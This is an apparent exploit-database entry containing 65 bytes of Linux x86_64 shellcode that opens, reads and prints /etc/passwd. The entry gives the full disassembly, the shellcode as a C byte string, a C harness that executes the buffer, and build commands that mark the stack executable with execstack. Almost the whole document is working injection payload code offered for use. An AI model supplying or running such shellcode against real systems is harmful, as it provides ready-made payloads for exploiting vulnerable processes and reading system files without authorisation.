Linux/x86_64 - Read /etc/passwd - 65 bytes

2016-04-15 20:05:34

/*
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Linux/x86_64 - Read /etc/passwd - 65 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

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Disassembly of section .text:

Disassembly of section .text:

0000000000400080 <.text>:
400080: eb 2f jmp 0x4000b1
400082: 5f pop rdi
400083: 6a 02 push 0x2
400085: 58 pop rax
400086: 48 31 f6 xor rsi,rsi
400089: 0f 05 syscall
40008b: 66 81 ec ef 0f sub sp,0xfef
400090: 48 8d 34 24 lea rsi,[rsp]
400094: 48 97 xchg rdi,rax
400096: 48 31 d2 xor rdx,rdx
400099: 66 ba ef 0f mov dx,0xfef
40009d: 48 31 c0 xor rax,rax
4000a0: 0f 05 syscall
4000a2: 6a 01 push 0x1
4000a4: 5f pop rdi
4000a5: 48 92 xchg rdx,rax
4000a7: 6a 01 push 0x1
4000a9: 58 pop rax
4000aa: 0f 05 syscall
4000ac: 6a 3c push 0x3c
4000ae: 58 pop rax
4000af: 0f 05 syscall
4000b1: e8 cc ff ff ff call 0x400082
4000b6: 2f (bad)
4000b7: 65 74 63 gs je 0x40011d
4000ba: 2f (bad)
4000bb: 70 61 jo 0x40011e
4000bd: 73 73 jae 0x400132
4000bf: 77 64 ja 0x400125

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How To Run

$ gcc -o read_passwd read_passwd.c
$ execstack -s read_passwd
$ ./read_passwd

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*/
#include <stdio.h>
char sh[]="\xeb\x2f\x5f\x6a\x02\x58\x48\x31\xf6\x0f\x05\x66\x81\xec\xef\x0f\x48\x8d\x34\x24\x48\x97\x48\x31\xd2\x66\xba\xef\x0f\x48\x31\xc0\x0f\x05\x6a\x01\x5f\x48\x92\x6a\x01\x58\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xcc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}

Fixes

No fixes

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